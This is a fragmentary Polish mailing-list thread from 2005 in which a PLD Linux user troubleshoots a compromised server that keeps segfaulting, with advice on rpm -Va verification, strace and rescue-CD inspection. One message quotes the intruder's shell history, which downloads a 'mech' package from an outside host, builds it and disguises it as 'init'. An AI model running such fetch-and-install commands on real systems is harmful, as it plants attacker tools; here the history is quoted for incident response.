On Fri, Feb 18, 2005 at 12:41:17AM +0100, Paweł Nawrocki wrote:
> TU> czyli sprawdzasz czy
> TU> w /bin, /usr/bin, /lib itepe nie ma jakiś plików nie należących do bazy
> TU> rpm-a.
>
> a jak to sprawdzic?
ja to zazwyczaj robie "polrecznie" czyli coś w stylu:
find /usr |xargs rpm -qf 2>&1 |grep "n
Paweł Nawrocki wrote:
nie wiem jak znalezc, do ktorego pakietu nalezy /bin/arch
w trybie interaktywnym poldka wpisuje
rsearch -f /arch/
i wyskakuje mi bardzo dluga lista pakietow
poldek> rsearch -f /bin/arch$/
Przeszukiwanie pakietów..zrobione.
2 package(s) f
W Twoim liście datowanym 17 lutego 2005 (14:37:23) można przeczytać:
TU> najprościej - uruchom system z rescuecd.
TU> i bez żadnego uruchamiania programow z wnętrza popsutego chroota zacznij
TU> go weryfikować. Na początek bym zaczął od glibc,rpm-a, shella i basha (rpm
TU> --root=/katalog_z_popsu
W Twoim liście datowanym 17 lutego 2005 (14:37:23) można przeczytać:
TU> czyli sprawdzasz czy
TU> w /bin, /usr/bin, /lib itepe nie ma jakiś plików nie należących do bazy
TU> rpm-a.
a jak to sprawdzic?
--
pawel nawrocki
___
pld-users-pl mailing list
W Twoim liście datowanym 17 lutego 2005 (14:37:23) można przeczytać:
TU> najprościej - uruchom system z rescuecd.
TU> i bez żadnego uruchamiania programow z wnętrza popsutego chroota zacznij
TU> go weryfikować.
zaczekam z tym do wieczora,
ale dzieki za pomoc.
--
pzdr,
pawel nawrocki
On Wed, Feb 16, 2005 at 11:09:09PM +0100, Paweł Nawrocki wrote:
> PW> Nie pamiętam jak robiłeś weryfikację pakietów, czy z pld, czy z tego
> drugiego
> PW> linuksa. Jeśli z pld to ewentualnie spróbuj zrobić z tego drugiego rpm
> -Va
> PW> --root cośtam, bo być może narzędzia na pld są tak zjech
W Twoim liście datowanym 17 lutego 2005 (01:35:44) można przeczytać:
LSKJ> Lukasz "S-K" Jarochowski napisał(a):
>> PS: obawiam się, że gość mógł zdobyć root'a
LSKJ> zapomniałbym - sprawdź .viminfo w poszukiwaniu historii. Może coś
znajdziesz.
u tego uzytkownika nie ma tego pliku
___
Lukasz "S-K" Jarochowski napisał(a):
> PS: obawiam się, że gość mógł zdobyć root'a
zapomniałbym - sprawdź .viminfo w poszukiwaniu historii. Może coś znajdziesz.
--
Wszędzie słyszę krzyk. Cierpień nieustająca melodia
GG:0x4BE039 lukasz < w > sanity.int.pl
|>
___
Paweł Nawrocki napisał(a):
> dokladny wyciag wyglada tak:
>
> w
> passwd
> cd /tmp
> mkdir .sen";"
> cd .sen";"
> mkdir .sen
> cd .sen
> wget muistule.home.ro/root/mech.tgz
> tar xvzf mech.tgz
> cd ls
> cd ls
> ./configure
> make clean install
> rm -rf mech.set
> vi mech.set
> mv mech init
> sh
>
>
W Twoim liście datowanym 17 lutego 2005 (00:28:25) można przeczytać:
LSKJ> Paweł Nawrocki napisał(a):
>> bez zadnych bledow,
>> chwile pozniej weryfikacja
>> [EMAIL PROTECTED]:/var/cache/poldek]#rpm -V coreutils
LSKJ> rzeczywiście - dziwaczne.
LSKJ> A wiesz jak miałeś ten włam? Co zrobił włamyw
Paweł Nawrocki napisał(a):
> bez zadnych bledow,
> chwile pozniej weryfikacja
> [EMAIL PROTECTED]:/var/cache/poldek]#rpm -V coreutils
rzeczywiście - dziwaczne.
A wiesz jak miałeś ten włam? Co zrobił włamywacz?
Pozdrawiam
ŁJ
--
Wszędzie słyszę krzyk. Cierpień nieustająca melodia
GG:0x4BE039
W Twoim liście datowanym 16 lutego 2005 (23:39:17) można przeczytać:
LSKJ> Paweł Nawrocki napisał(a):
>> LSKJ> sprawdź sumy glibca, czy się zmieniły
>> jak je sprawdzic? (przepraszam za banalne dla Was pytanie)
LSKJ> 1) --nofollow - w manie do rpm'a niem. Ale w poldku działa :)
LSKJ> 2) sumy spr
z chroot i poldek tak jest...nie raz próbowałem i się zwalało, z poldkiem
polecanym na WWW... trzeba jakoś spreparować... próbowałem chroot z SuSE z
jakieś 3 miesiące temu, może już naprawili.
heh, nie dodałem, że przy próbie instalacji PLD poprzez chroot
--
Mateusz 'matipl' Kamiński_
Paweł Nawrocki napisał(a):
> LSKJ> sprawdź sumy glibca, czy się zmieniły
> jak je sprawdzic? (przepraszam za banalne dla Was pytanie)
1) --nofollow - w manie do rpm'a niem. Ale w poldku działa :)
2) sumy sprawdzasz rpm -V glibc
Generalnie nie powinieneś mieć zmienionych sum żadnej z binarek. Jeśl
Dnia 16.02.05 o godzinie 15:06 +0100, użytkownik Paweł Nawrocki napisał(a):
[100%]
Memory fault
Memory fault
z chroot i poldek tak jest...nie raz próbowałem i się zwalało, z poldkiem
polecanym na WWW... trzeba jakoś spreparować... próbowałem chroot z SuSE z
jakieś 3 miesiące temu, może już napraw
Paweł Nawrocki wrote:
W Twoim liście datowanym 16 lutego 2005 (22:39:39) można przeczytać:
MmŚ> odinstalowywuję z --force --nodeps --nofollow, a później czystym rpm-em
MmŚ> insaluję to, co wcześniej ściągnąłem. Nie pluje wtedy błędami.
nie ma --nofollow ?
Przy odinstalowywaniu z poldka się przyda
W Twoim liście datowanym 16 lutego 2005 (22:39:39) można przeczytać:
MmŚ> odinstalowywuję z --force --nodeps --nofollow, a później czystym rpm-em
MmŚ> insaluję to, co wcześniej ściągnąłem. Nie pluje wtedy błędami.
nie ma --nofollow ?
[EMAIL PROTECTED]:/var/cache]#rpm -e --force --nodeps --nofo
W Twoim liście datowanym 16 lutego 2005 (22:38:04) można przeczytać:
LSKJ> sprawdź sumy glibca, czy się zmieniły
jak je sprawdzic? (przepraszam za banalne dla Was pytanie)
pzdr,
pawel nawrocki
___
pld-users-pl mailing list
pld-users-pl@pld-linux.org
W Twoim liście datowanym 16 lutego 2005 (22:54:25) można przeczytać:
PW> Jak ci się chce to się jeszcze możesz spróbować gdb pobawić, powinien
pokazać
PW> na której bibliotece wykrzacza się probram.
gdb (cokolwiek to jest) zainstalowalo sie bez bledow
PW> Nie pamiętam jak robiłeś weryfikację
On Wednesday 16 of February 2005 22:41, Paweł Nawrocki wrote:
> ten sam blad, ktory wystepuje podczas proby reinstalcji SysVinit
>
> poldek> install --reinstall glibc
> Przetwarzanie zależności...
> glibc-2.3.4-0.20041122.2 zostanie zastąpiony przez glibc-2.3.4-0.20041122.2
> Zaznaczono 1 pakiet d
Paweł Nawrocki napisał(a):
W Twoim liście datowanym 16 lutego 2005 (22:20:13) można przeczytać:
PW> Przeinstaluj na wszelki wypadek glibc (chociaż
PW> powinny być dobre, bo się rpm nie pluje).
Spróbuj jeszcze gdb, jeśli masz na czymś, co pada.
--
WK
___
W Twoim liście datowanym 16 lutego 2005 (22:20:13) można przeczytać:
PW> Przeinstaluj na wszelki wypadek glibc (chociaż
PW> powinny być dobre, bo się rpm nie pluje).
ten sam blad, ktory wystepuje podczas proby reinstalcji SysVinit
poldek> install --reinstall glibc
Przetwarzanie zależności...
g
Paweł Nawrocki wrote:
poldek> install --reinstall coreutils-5.2.1-2
Przetwarzanie zależności...
coreutils-5.2.1-2 zostanie zastąpiony przez coreutils-5.2.1-2
Zaznaczono 1 pakiet do instalacji, 1 do usunięcia:
I coreutils-5.2.1-2
R coreutils-5.2.1-2
Do ściągnięcia potrzeba około 3MB pakietów. Po roz
Paweł Nawrocki napisał(a):
> przeinstaluje glibc
> ale to co wypluwa strace nic mi nie mowi :(
>
[cut strace]
na mój gust, to ten włam nie był taki niewinny jak Ci się wydawało. Ktoś coś
nieźle namieszał. sprawdź sumy glibca, czy się zmieniły.
Pozdrawiam
ŁJ
--
Wszędzie słyszę krzyk. Cierpień
W Twoim liście datowanym 16 lutego 2005 (22:20:13) można przeczytać:
PW> On Wednesday 16 of February 2005 21:16, Paweł Nawrocki wrote:
>> [EMAIL PROTECTED]:/]#hostname onet.pl
>> Segmentation fault
>> [EMAIL PROTECTED]:/]#date
>> Segmentation fault
>> [EMAIL PROTECTED]:/]#mkdir /test
>> Segmenta
On Wednesday 16 of February 2005 21:16, Paweł Nawrocki wrote:
> [EMAIL PROTECTED]:/]#hostname onet.pl
> Segmentation fault
> [EMAIL PROTECTED]:/]#date
> Segmentation fault
> [EMAIL PROTECTED]:/]#mkdir /test
> Segmentation fault
> [EMAIL PROTECTED]:/etc]#chacl
> Segmentation fault
No to teraz stra
W Twoim liście datowanym 16 lutego 2005 (21:44:14) można przeczytać:
AS> Może to nic nie pomoże, ale ja podobne efekty (wprawdzie linux się
AS> uruchamiał, ale potem aplikacje nie za bardzo chodziły i wywalały
AS> segfaulta) miałem, jak mi pamięci nie wyrabiały. Tzn. pomagało
AS> zmniejszenie
02/16/2005 09:16 PM, Paweł Nawrocki wrotek:
W Twoim liście datowanym 16 lutego 2005 (20:31:03) można przeczytać:
PW> On Wednesday 16 of February 2005 20:16, Paweł Nawrocki wrote:
PW> Nie, to nie dobrze. A daj wynik lsattr /bin/hostname
[EMAIL PROTECTED]:/]#hostname onet.pl
Segmentation fault
[EMAI
W Twoim liście datowanym 16 lutego 2005 (20:31:03) można przeczytać:
PW> No i sprawdź czy zadziała program
PW> telinit (na przykład telinit u).
[EMAIL PROTECTED]:/]#telinit u
telinit: timeout opening/writing control channel /dev/initctl
___
pld-use
W Twoim liście datowanym 16 lutego 2005 (20:31:03) można przeczytać:
PW> On Wednesday 16 of February 2005 20:16, Paweł Nawrocki wrote:
>> PW> Nie, to nie dobrze. A daj wynik lsattr /bin/hostname
>>
>> [EMAIL PROTECTED]:/]#lsattr /bin/hostname
>> - /bin/hostname
PW> Czyli tu nie j
On Wednesday 16 of February 2005 20:16, Paweł Nawrocki wrote:
> PW> Nie, to nie dobrze. A daj wynik lsattr /bin/hostname
>
> [EMAIL PROTECTED]:/]#lsattr /bin/hostname
> - /bin/hostname
Czyli tu nie jest nic zmienione. Popróbuj pouruchamiać te programy, które były
pozmienianie. Zob
W Twoim liście datowanym 16 lutego 2005 (20:11:49) można przeczytać:
PW> On Wednesday 16 of February 2005 19:14, Paweł Nawrocki wrote:
>> pozniej uruchamiam
>>
>> rpm -Va
>> w wynikach widze
>>
>> S.5T/bin/hostname
>>
>> czy to dobrze?
PW> Nie, to nie dobrze. A daj wynik lsattr /bin/host
On Wednesday 16 of February 2005 19:14, Paweł Nawrocki wrote:
> pozniej uruchamiam
>
> rpm -Va
> w wynikach widze
>
> S.5T/bin/hostname
>
> czy to dobrze?
Nie, to nie dobrze. A daj wynik lsattr /bin/hostname
--
Piotr Wawrzyniak
JabberID [EMAIL PROTECTED]
W Twoim liście datowanym 16 lutego 2005 (18:29:56) można przeczytać:
AF> On Wed, Feb 16, 2005 at 03:58:47PM +0100, Paweł Nawrocki wrote:
>>
>> W Twoim liście datowanym 16 lutego 2005 (15:12:12) można przeczytać:
>>
>> TU> On Wed, Feb 16, 2005 at 03:06:28PM +0100, Paweł Nawrocki wrote:
>> >> Mem
W Twoim liście datowanym 16 lutego 2005 (18:29:56) można przeczytać:
AF> On Wed, Feb 16, 2005 at 03:58:47PM +0100, Paweł Nawrocki wrote:
>>
>> W Twoim liście datowanym 16 lutego 2005 (15:12:12) można przeczytać:
>>
>> TU> On Wed, Feb 16, 2005 at 03:06:28PM +0100, Paweł Nawrocki wrote:
>> >> Mem
On Wed, Feb 16, 2005 at 03:58:47PM +0100, Paweł Nawrocki wrote:
>
> W Twoim liście datowanym 16 lutego 2005 (15:12:12) można przeczytać:
>
> TU> On Wed, Feb 16, 2005 at 03:06:28PM +0100, Paweł Nawrocki wrote:
> >> Memory fault
> >> Memory fault
> TU> rpm -Va zobacz
> TU> czy jakas biblioteka nie
W Twoim liście datowanym 16 lutego 2005 (15:11:14) można przeczytać:
BRR> Paweł Nawrocki wrote:
>> [...]
>>
>>Memory fault
>>Memory fault
>>
>>
BRR> Jeśli to stało w piwnicy to może warto odkurzyć?
BRR> To może być np. taka głupota jak kurz na wentylatorze... (tak, znam z
BRR> autopsji)
zeby
W Twoim liście datowanym 16 lutego 2005 (15:11:14) można przeczytać:
BRR> Paweł Nawrocki wrote:
>> [...]
>>
>>Memory fault
>>Memory fault
>>
>>
BRR> Jeśli to stało w piwnicy to może warto odkurzyć?
BRR> To może być np. taka głupota jak kurz na wentylatorze... (tak, znam z
BRR> autopsji)
odku
W Twoim liście datowanym 16 lutego 2005 (15:12:12) można przeczytać:
TU> On Wed, Feb 16, 2005 at 03:06:28PM +0100, Paweł Nawrocki wrote:
>> Memory fault
>> Memory fault
TU> rpm -Va zobacz
TU> czy jakas biblioteka nie jest walnieta.
[EMAIL PROTECTED]:/]#rpm -Va
S.5T/bin/chacl
S.5T
On Wed, Feb 16, 2005 at 03:06:28PM +0100, Paweł Nawrocki wrote:
> Memory fault
> Memory fault
rpm -Va zobacz
czy jakas biblioteka nie jest walnieta.
jakies inne, prostsze programy tez sie sypia?
jezeli tak, zobacz strace.
dalej - moze inne jajko?
--
Andrzej 'The Undefined' Dopierała
UNIX && Lin
Paweł Nawrocki wrote:
[...]
Memory fault
Memory fault
Jeśli to stało w piwnicy to może warto odkurzyć?
To może być np. taka głupota jak kurz na wentylatorze... (tak, znam z
autopsji)
ethanak
___
pld-users-pl mailing list
pld-users-pl@pld-linux.org
ht
W Twoim liście datowanym 16 lutego 2005 (14:34:59) można przeczytać:
TU> On Wed, Feb 16, 2005 at 01:36:24PM +0100, Paweł Nawrocki wrote:
>> witam,
>> podchodze rano do komputera, okazuje sie ze Internetu nie ma.
>> loguje sie wiec na serwer (putty), podaje uzytkownika, haslo, dostaje
>> komunika
On Wed, Feb 16, 2005 at 01:36:24PM +0100, Paweł Nawrocki wrote:
> witam,
> podchodze rano do komputera, okazuje sie ze Internetu nie ma.
> loguje sie wiec na serwer (putty), podaje uzytkownika, haslo, dostaje
> komunikat "last login from moje_IP data..",
> ale znak zachety sie nie pojawia.
>
> sc
witam,
podchodze rano do komputera, okazuje sie ze Internetu nie ma.
loguje sie wiec na serwer (putty), podaje uzytkownika, haslo, dostaje komunikat
"last login from moje_IP data..",
ale znak zachety sie nie pojawia.
schodze do piwnicy, serwer nie odpowiada :(
twardy restart, laduje sie system,
44 matches
Mail list logo
